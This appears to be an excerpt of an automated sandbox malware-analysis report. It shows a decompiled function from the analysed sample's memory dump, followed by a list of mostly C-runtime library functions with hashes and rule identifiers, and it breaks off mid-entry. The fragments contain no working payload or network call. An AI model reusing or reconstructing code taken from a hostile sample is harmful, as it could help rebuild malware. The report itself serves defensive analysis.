C-Code - Quality: 89%

			E00402C16(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				signed int _t25;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t33 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t33,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L6:
						_t38 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						E0040193B(_t25, _t38,  *((intOrPtr*)(_t28 - 4)), _t18, _t23,  *((intOrPtr*)(_t21 + 0x8336)));
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t38);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t35 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t35, __fp0);
							_t36 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t36, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L6;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402c16
0x00402c16
0x00402c16
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000D.00000002.813480749.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_8633.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8375172ab2dc3a157800504cc046cabc4f04a32f5874d07e2e57d920b258b3e
Instruction ID: 22f91f3ad527b43ded7c43fe05e3e31a54a2160e6f7bd47ea20a36d237ffec38
Opcode Fuzzy Hash: b8375172ab2dc3a157800504cc046cabc4f04a32f5874d07e2e57d920b258b3e
Instruction Fuzzy Hash: 4401CC20518105F9FF01B7628F1A9BE75699F00348F24007BBC41B52E6DBBD8F15AA2E

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0042F6DE, Relevance: 51.2, APIs: 25, Strings: 4, Instructions: 431COMMON

Download Yara Rule

APIs

__invoke_watson_if_error.LIBCMTD ref: 0042F722
_wcscat_s.LIBCMTD ref: 0042F93A

Part of subcall function 00439350: __invalid_parameter.LIBCMTD ref: 004393C2

__invoke_watson_if_error.LIBCMTD ref: 0042F943

Part of subcall function 00422A70: __invoke_watson.LIBCMTD ref: 00422A91

_wcscat_s.LIBCMTD ref: 0042F972

Part of subcall function 00439350: _memset.LIBCMT ref: 0043942B
Part of subcall function 00439350: __invalid_parameter.LIBCMTD ref: 00439487

__invoke_watson_if_error.LIBCMTD ref: 0042F97B
__snwprintf_s.LIBCMTD ref: 0042F9D4

Part of subcall function 00436E30: __vsnprintf_s_l.LIBCMTD ref: 00436E52

__invoke_watson_if_oneof.LIBCMTD ref: 0042FA0D
_wcscpy_s.LIBCMTD ref: 0042FA52
__invoke_watson_if_error.LIBCMTD ref: 0042FA5B
__cftoe.LIBCMTD ref: 0042FACF
__invoke_watson_if_oneof.LIBCMTD ref: 0042FAFE
_wcscpy_s.LIBCMTD ref: 0042FB36
__invoke_watson_if_error.LIBCMTD ref: 0042FB3F
__itow_s.LIBCMTD ref: 0042F719

Part of subcall function 00429840: _xtow_s@20.LIBCMTD ref: 0042986B

__strftime_l.LIBCMTD ref: 0042F7D9
__invoke_watson_if_oneof.LIBCMTD ref: 0042F812
_wcscpy_s.LIBCMTD ref: 0042F857
__invoke_watson_if_error.LIBCMTD ref: 0042F860
_wcscpy_s.LIBCMTD ref: 0042F8B3
__invoke_watson_if_error.LIBCMTD ref: 0042F8BC
_wcscat_s.LIBCMTD ref: 0042F8ED
__invoke_watson_if_error.LIBCMTD ref: 0042F8F6

Strings

hx_@, xrefs: 0042FAE9
t9j, xrefs: 0042FD65
t8j, xrefs: 0042FB0D
hx_@, xrefs: 0042F8D0

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: __invoke_watson_if_error$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__invalid_parameter$__cftoe__invoke_watson__itow_s__snwprintf_s__strftime_l__vsnprintf_s_l_memset_xtow_s@20
String ID: hx_@$hx_@$t8j$t9j
API String ID: 2582952045-1707723877
Opcode ID: 5bdd61315b5de1141821f34d4f66a059573e4d1989bd6cab6ea5258daef66be1
Instruction ID: 876a4c81be37a31778ac198fabfa9a24270b37a21378cf78e8776fcfe0e35468
Opcode Fuzzy Hash: 5bdd61315b5de1141821f34d4f66a059573e4d1989bd6cab6ea5258daef66be1
Instruction Fuzzy Hash: 6F0296B0A40728ABDB20DF50EC4AF9F7374AB48745F9041BAF509762C1D7B85A84CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0043EA43, Relevance: 25.8, APIs: 17, Instructions: 296COMMON

Download Yara Rule

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043EA8B
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043EAC1
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043EAE2
wcsncnt.LIBCMTD ref: 0043EB19
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043EB7F
_wcslen.LIBCMTD ref: 0043ED8F
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043ED9D

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_wcslenwcsncnt
String ID:
API String ID: 1043867012-0
Opcode ID: a8ffe6901c5590db246b1764e7c65ab74768f6dd80f77168b5b8b69f5ad94237
Instruction ID: 33d6e4121f9747ef53f5616068873bfd9d6df53fdaaafae9c0bdec0403de4805
Opcode Fuzzy Hash: a8ffe6901c5590db246b1764e7c65ab74768f6dd80f77168b5b8b69f5ad94237
Instruction Fuzzy Hash: CED13731A01118DFCF14DF95D895BEEBBB1BF48304F60915AE4266B2E1DB38AE41CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0043CF69, Relevance: 24.9, APIs: 11, Strings: 3, Instructions: 368COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043CFF8
_get_int64_arg.LIBCMTD ref: 0043D020
__aullrem.LIBCMT ref: 0043D1C5
__aulldiv.LIBCMT ref: 0043D1E7
_write_multi_char.LIBCMTD ref: 0043D2EE
_write_string.LIBCMTD ref: 0043D309
_write_multi_char.LIBCMTD ref: 0043D335
_wctomb_s.LIBCMTD ref: 0043D3B2

Strings

-, xrefs: 0043D28E
9, xrefs: 0043D1F8
_output_s_l, xrefs: 0043C65E

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: -$9$_output_s_l
API String ID: 3451365851-2997124954
Opcode ID: c34fdc31b3d6dfc56024792464813d90b10f6a2b54b22b933658048f8c939edd
Instruction ID: 057d0e0b532a5f34e1f70459ac0f7b82f93ef58941437c4aa4933052d210732c
Opcode Fuzzy Hash: c34fdc31b3d6dfc56024792464813d90b10f6a2b54b22b933658048f8c939edd
Instruction Fuzzy Hash: B3F138B1D012299FDF24DF58DC89BAEB7B1BB48304F1491DAE419A7281D7389E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0042BE8B, Relevance: 21.4, APIs: 11, Strings: 1, Instructions: 365COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042BF20
_get_int64_arg.LIBCMTD ref: 0042BF48
__aullrem.LIBCMT ref: 0042C0F0
__aulldiv.LIBCMT ref: 0042C112
_write_multi_char.LIBCMTD ref: 0042C22B
_write_string.LIBCMTD ref: 0042C246
_write_multi_char.LIBCMTD ref: 0042C272
__mbtowc_l.LIBCMTD ref: 0042C2E1

Strings

9, xrefs: 0042C123

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: 9
API String ID: 3455034128-2366072709
Opcode ID: 018d3b48c7647d4f98e7a45b89857224bcc677ec28df479b3300f214192bf2f9
Instruction ID: cac759e53a3d4d55eadbcad45a721fa7f27d4d674edd159a0287911f5da512d1
Opcode Fuzzy Hash: 018d3b48c7647d4f98e7a45b89857224bcc677ec28df479b3300f214192bf2f9
Instruction Fuzzy Hash: 2FF119B1E002299FDB24CF94DC81BAEB7B5FF45304F54819AE509A7241D738AE84CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0043CCC7, Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 241COMMON

Download Yara Rule

APIs

__get_printf_count_output.LIBCMTD ref: 0043CCD9
__invalid_parameter.LIBCMTD ref: 0043CD60
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043CD75
_write_multi_char.LIBCMTD ref: 0043D2EE
_write_string.LIBCMTD ref: 0043D309
_write_multi_char.LIBCMTD ref: 0043D335
_wctomb_s.LIBCMTD ref: 0043D3B2

Strings

-, xrefs: 0043D28E
_output_s_l, xrefs: 0043C65E, 0043CD56

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter_wctomb_s_write_string
String ID: -$_output_s_l
API String ID: 4103101190-3200142626
Opcode ID: e09871d713c7fce511c34ab3ccad626a40740fb1bc897f036003ce28900ffafd
Instruction ID: 862ad3d9e1f39e02914d29a2d06071da4c75001e9d4414168410740683d5eba7
Opcode Fuzzy Hash: e09871d713c7fce511c34ab3ccad626a40740fb1bc897f036003ce28900ffafd
Instruction Fuzzy Hash: F9A19FB0D012289BDF24DF55DC89BEEB7B0EB48304F1091DAE4197A281D778AE80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043CB15, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0043CB49
_write_multi_char.LIBCMTD ref: 0043D2EE
_write_string.LIBCMTD ref: 0043D309
_write_multi_char.LIBCMTD ref: 0043D335
_wctomb_s.LIBCMTD ref: 0043D3B2

Strings

-, xrefs: 0043D28E
_output_s_l, xrefs: 0043C65E

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: _write_multi_char$_strlen_wctomb_s_write_string
String ID: -$_output_s_l
API String ID: 433996309-3200142626
Opcode ID: 722ba824d80c1d1e3cf7603c54c57d3f1f93d4b9ec2d8cb78bea161389f9ac9c
Instruction ID: 4e01ee97c29d4fa2e604f8a132b6f0365d7af617ffca67a9c423443c0e708d73
Opcode Fuzzy Hash: 722ba824d80c1d1e3cf7603c54c57d3f1f93d4b9ec2d8cb78bea161389f9ac9c
Instruction Fuzzy Hash: 55A16AB0D012289FDB24CF54DC89BEEB7B1AB48305F1491DAE4197B291D778AE80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0042BBEA, Relevance: 15.2, APIs: 10, Instructions: 238COMMON

Download Yara Rule

APIs

__get_printf_count_output.LIBCMTD ref: 0042BBFC
__invalid_parameter.LIBCMTD ref: 0042BC83
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042BC98
_write_multi_char.LIBCMTD ref: 0042C22B
_write_string.LIBCMTD ref: 0042C246
_write_multi_char.LIBCMTD ref: 0042C272
__mbtowc_l.LIBCMTD ref: 0042C2E1

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter__mbtowc_l_write_string
String ID:
API String ID: 900999819-0
Opcode ID: 7a152b0ef7358fdfdf488b90299700bab049567fc5c59cf70dd7079f0d1c9e8c
Instruction ID: ca2ee91092aafdb62780697932ab8c6bba3a466795aca646819d84370a4d8f02
Opcode Fuzzy Hash: 7a152b0ef7358fdfdf488b90299700bab049567fc5c59cf70dd7079f0d1c9e8c
Instruction Fuzzy Hash: 57A183B0E002289BDF24DF55DC81BAEB770EF44304F94859AE6096B282D7785E84CF9D

Uniqueness

Uniqueness Score: -1.00%

Function 00438FF0, Relevance: 15.1, APIs: 10, Instructions: 135COMMON

Download Yara Rule

APIs

_cmpDWORD.LIBCMTD ref: 00438FFE

Part of subcall function 00439280: _cmpBYTE.LIBCMTD ref: 004392B8

_cmpDWORD.LIBCMTD ref: 00439025

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: _cmp
String ID:
API String ID: 2028851527-0
Opcode ID: c8f3e292c3b1e8bb93b3af797200ed8ae75d1eaad313a1fa08ee5c27a5052a11
Instruction ID: f25fb2f7a0819abbe322da5feeaa82c6f032b63a035de58cf9bb3e626f1f4a8f
Opcode Fuzzy Hash: c8f3e292c3b1e8bb93b3af797200ed8ae75d1eaad313a1fa08ee5c27a5052a11
Instruction Fuzzy Hash: F7512AB1D00109FFDB04DFBCDA48ADEBBB5AB48304F10955AE409BB245DA789F41EB54

Uniqueness

Uniqueness Score: -1.00%

Function 00428AA0, Relevance: 13.7, APIs: 9, Instructions: 206COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc3978a91e2fed697cbd145494d9bee859de4c37696e3cdea482a0f53b07a0eb
Instruction ID: 79dac7c46b9d9e39020c28a066436a2692e4869eee9c1b7d6f35de62e4dada77
Opcode Fuzzy Hash: cc3978a91e2fed697cbd145494d9bee859de4c37696e3cdea482a0f53b07a0eb
Instruction Fuzzy Hash: E481C3B1B01218ABDF00DF54EC81FAF77B5AF48304F40846EF909A7281D7789A44CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041EC54, Relevance: 13.6, APIs: 9, Instructions: 55COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0041EC59
std::_Lockit::_Lockit.LIBCPMTD ref: 0041EC68
int.LIBCPMT ref: 0041EC7F

Part of subcall function 0041D1C1: std::_Lockit::_Lockit.LIBCPMTD ref: 0041D1D2
Part of subcall function 0041D1C1: std::_Lockit::~_Lockit.LIBCPMTD ref: 0041D1EC

std::locale::_Getfacet.LIBCPMT ref: 0041EC88
std::bad_exception::bad_exception.LIBCMTD ref: 0041ECB6
__CxxThrowException@8.LIBCMTD ref: 0041ECC4
std::locale::facet::_Incref.LIBCPMT ref: 0041ECD4
std::locale::facet::facet_Register.LIBCPMTD ref: 0041ECDA
std::_Lockit::~_Lockit.LIBCPMTD ref: 0041ECE7

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Exception@8GetfacetH_prologIncrefRegisterThrowstd::bad_exception::bad_exceptionstd::locale::_std::locale::facet::_std::locale::facet::facet_
String ID:
API String ID: 288561801-0
Opcode ID: 54da9261730169bf02645b48c785f6184d57676b9d74fd18ddbc20c023d86ca5
Instruction ID: 5d5fdbcd47ae09a5643023b666f8b08548eb51aaf07b8b350aacd09a0fcab939
Opcode Fuzzy Hash: 54da9261730169bf02645b48c785f6184d57676b9d74fd18ddbc20c023d86ca5
Instruction Fuzzy Hash: 9411A376A00214ABCB04EB62DD42AEE7735EF80368F10052FF911672D1DB7C9945C79D

Uniqueness

Uniqueness Score: -1.00%

Function 004259E5, Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 264memoryCOMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 004259F9
__CrtIsValidHeapPointer.LIBCMTD ref: 00425A85
_CheckBytes.LIBCMTD ref: 00425B30
_CheckBytes.LIBCMTD ref: 00425BEA
_memset.LIBCMT ref: 00425CE1
__free_base.LIBCMTD ref: 00425CED

Strings

tDj, xrefs: 00425A3B

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: BytesCheck$HeapPointerValid__free_base_memset
String ID: tDj
API String ID: 25084783-2513116121
Opcode ID: 2196346b72de99ad033b085079edf412ac61bfd6a4851d5f2201b87a2c60ca13
Instruction ID: c2196b15d096f99c2b095510ac6125d9018437076f0548a4c77f008faf9f2775
Opcode Fuzzy Hash: 2196346b72de99ad033b085079edf412ac61bfd6a4851d5f2201b87a2c60ca13
Instruction Fuzzy Hash: 1991D074B40214BBEB24CF44ED82F6A7365AB58705F74419AF604AB3C2D279EE40CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 0043F034, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 115COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0043F093
_memset.LIBCMT ref: 0043F11C
__invalid_parameter.LIBCMTD ref: 0043F17B

Strings

P, xrefs: 0043F190
_wcstombs_s_l, xrefs: 0043F171
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0043F13F, 0043F16C
sizeInBytes > retsize, xrefs: 0043F133, 0043F176

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: _memset$__invalid_parameter
String ID: P$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c$sizeInBytes > retsize
API String ID: 2178901135-56445615
Opcode ID: eba7a8a6db21c0625dc80c26c2fdd3a8b19e208fd7be417d8f693bd9a4897978
Instruction ID: dc0ffcc58b18e2643ddf0dd2ef6f6a62c9a4abd568b7092f9c28664f814976b7
Opcode Fuzzy Hash: eba7a8a6db21c0625dc80c26c2fdd3a8b19e208fd7be417d8f693bd9a4897978
Instruction Fuzzy Hash: C641A230E00249EBCF14CF58D845BAE7771FB48324F14866AE8242A3D1D3799D59CF49

Uniqueness

Uniqueness Score: -1.00%

Function 0042BA14, Relevance: 12.2, APIs: 8, Instructions: 222COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0042BA48
_write_multi_char.LIBCMTD ref: 0042C22B
_write_string.LIBCMTD ref: 0042C246
_write_multi_char.LIBCMTD ref: 0042C272
__mbtowc_l.LIBCMTD ref: 0042C2E1

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: _write_multi_char$__mbtowc_l_strlen_write_string
String ID:
API String ID: 3252303123-0
Opcode ID: 147f7b57c91fc7ac388040de3b26c44f6af553ab85c17ef6030ac1a538fc8db6
Instruction ID: f89ba16a6660c1dacf5957cf631aa72163a71f909fe4458e2d75d23507538743
Opcode Fuzzy Hash: 147f7b57c91fc7ac388040de3b26c44f6af553ab85c17ef6030ac1a538fc8db6
Instruction Fuzzy Hash: 6DA15FB1E00228DBDB24DF55DC81BAEB7B5EB44304F54819AE5096B282D7389E84CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00438D98, Relevance: 12.1, APIs: 8, Instructions: 103COMMON

Download Yara Rule

APIs

_cmpDWORD.LIBCMTD ref: 00438DA6

Part of subcall function 00439280: _cmpBYTE.LIBCMTD ref: 004392B8

_cmpDWORD.LIBCMTD ref: 00438DCD

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: _cmp
String ID:
API String ID: 2028851527-0
Opcode ID: 000ccbe2cadb759e74cd5e7df1b3dfedffdf27a34ef9d4f6f82d792d1a5bf3d5
Instruction ID: d9394f98bafcc35a14a52f67a5d5268d9744483a6118b2dc5143d138524021cc
Opcode Fuzzy Hash: 000ccbe2cadb759e74cd5e7df1b3dfedffdf27a34ef9d4f6f82d792d1a5bf3d5
Instruction Fuzzy Hash: 6B314A71900208EFCB04DFBCDA48A9DBB75AB48308F50954DF40ABB205DA789F41DB95

Uniqueness

Uniqueness Score: -1.00%

Function 0043CF97, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043CFF8
__aullrem.LIBCMT ref: 0043D1C5
__aulldiv.LIBCMT ref: 0043D1E7

Strings

', xrefs: 0043CF97
0, xrefs: 0043CFB3
9, xrefs: 0043D1F8

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: e4dd38e42e6af9c863dfc50a3d36f36b455022025e72cc688cd92708958d79a4
Instruction ID: c02270901f6d708d4f95b85d19d132a7bee07a7cad2efefa0e61f18ca3c343b2
Opcode Fuzzy Hash: e4dd38e42e6af9c863dfc50a3d36f36b455022025e72cc688cd92708958d79a4
Instruction Fuzzy Hash: F741C0B1D05629DFDF24CF98DC89BAEB7B5FB48304F24959AE009A7240C7389A85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00438EC4, Relevance: 10.6, APIs: 7, Instructions: 103COMMON

Download Yara Rule

APIs

_cmpDWORD.LIBCMTD ref: 00438ED2

Part of subcall function 00439280: _cmpBYTE.LIBCMTD ref: 004392B8

_cmpDWORD.LIBCMTD ref: 00438EF9

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: _cmp
String ID:
API String ID: 2028851527-0
Opcode ID: 19dc914e4a0633765d336c19ed3a3f14afb2883500002485b60d4641ba5bd03d
Instruction ID: dffb861a2e72acf67e1950e9055f91de04a9c3f164918d7deb64d20c70ccf4c8
Opcode Fuzzy Hash: 19dc914e4a0633765d336c19ed3a3f14afb2883500002485b60d4641ba5bd03d
Instruction Fuzzy Hash: D6313B71900208FFCB04DFBCDA48A9EBB75AB48308F20D559F40ABB205DA789F45DB58

Uniqueness

Uniqueness Score: -1.00%

Function 00438C80, Relevance: 10.6, APIs: 7, Instructions: 96COMMON

Download Yara Rule

APIs

_cmpDWORD.LIBCMTD ref: 00438C8E

Part of subcall function 00439280: _cmpBYTE.LIBCMTD ref: 004392B8

_cmpDWORD.LIBCMTD ref: 00438CB5

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: _cmp
String ID:
API String ID: 2028851527-0
Opcode ID: 78c03d3718f2390d31f8b063bc65ce1d810f83c356c66c6654849dcd724319e6
Instruction ID: 9e6de795e3e082333dbc13ab13386c17264802dd361d4374196c23cda51d7268
Opcode Fuzzy Hash: 78c03d3718f2390d31f8b063bc65ce1d810f83c356c66c6654849dcd724319e6
Instruction Fuzzy Hash: 18313071900109FFDB04DFBCC948ADEBB75AB48309F209559F40ABB246DA789F41D758

Uniqueness

Uniqueness Score: -1.00%

Function 00431381, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 69COMMON

Download Yara Rule

APIs

__set_error_mode.LIBCMTD ref: 004313E8
_strlen.LIBCMT ref: 00431434

Strings

, xrefs: 004313F7
t/j, xrefs: 00431421
jjj, xrefs: 004313D0
s3, xrefs: 004313D8

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: __set_error_mode_strlen
String ID: jjj$t/j$s3$
API String ID: 1625444187-615831865
Opcode ID: 59f2015f64c8a6c5157c038dd3d289a5abb5aa4bedd5935441abae86ba6c6836
Instruction ID: 8a5ab5c0f03c4ac8d38858c6f9367e5578c929676ccc67b57027953c6013c17c
Opcode Fuzzy Hash: 59f2015f64c8a6c5157c038dd3d289a5abb5aa4bedd5935441abae86ba6c6836
Instruction Fuzzy Hash: 0721D774D40208FFEB24CB84D985BAE7370EB19318F20916BE906672B1D3399E51DF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00434A53, Relevance: 9.1, APIs: 6, Instructions: 95windowCOMMON

Download Yara Rule

APIs

__snwprintf_s.LIBCMTD ref: 00434ADB

Part of subcall function 00436E30: __vsnprintf_s_l.LIBCMTD ref: 00436E52

__invoke_watson_if_oneof.LIBCMTD ref: 00434B0E
_wcscpy_s.LIBCMTD ref: 00434B50
__invoke_watson_if_error.LIBCMTD ref: 00434B59
___crtMessageBoxW.LIBCMTD ref: 00434B72
_raise.LIBCMTD ref: 00434B8B

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: Message___crt__invoke_watson_if_error__invoke_watson_if_oneof__snwprintf_s__vsnprintf_s_l_raise_wcscpy_s
String ID:
API String ID: 4254616306-0
Opcode ID: 5bb68f59371613f154bf808692ecfff4eb67b997468db6f1baebcbcf3834fa51
Instruction ID: f976c9bd2c4191d7ed58926996577702be88888b2da91e0945af2f73a59d7969
Opcode Fuzzy Hash: 5bb68f59371613f154bf808692ecfff4eb67b997468db6f1baebcbcf3834fa51
Instruction Fuzzy Hash: 87317675F40214BBDB24EB95DC46FDAB375AB4C704F0080AAF20D762C5D6B87A808F99

Uniqueness

Uniqueness Score: -1.00%

Function 0043CF84, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043CFF8
__aullrem.LIBCMT ref: 0043D1C5
__aulldiv.LIBCMT ref: 0043D1E7

Strings

0, xrefs: 0043CFB3
9, xrefs: 0043D1F8

Memory Dump Source

Source File: 0000000D.00000002.813499524.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_409000_8633.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: d60ba8b7cc28d6215889c596725926b66c55c0df088e40932acce54b869b4ee6
Instruction ID: a169c9c0059af94996a077dd4c958f304fd4f6686b13b343f4fe73cfaf901862
Opcode Fuzzy Hash: d60ba8b7cc28d6215889c596725926b66c55c0df088e40932acce54b869b4ee6
Instruction Fuzzy Hash: F741E2B1D05229DFDF24CF98DC89BAEB7B5FB48304F24919AE409A7240C7389A85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0042AD2A, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042AD91
__aullrem.LIBCMT ref: 0042AF61
__aulldiv.LIBCMT ref: 0042AF83

Strings

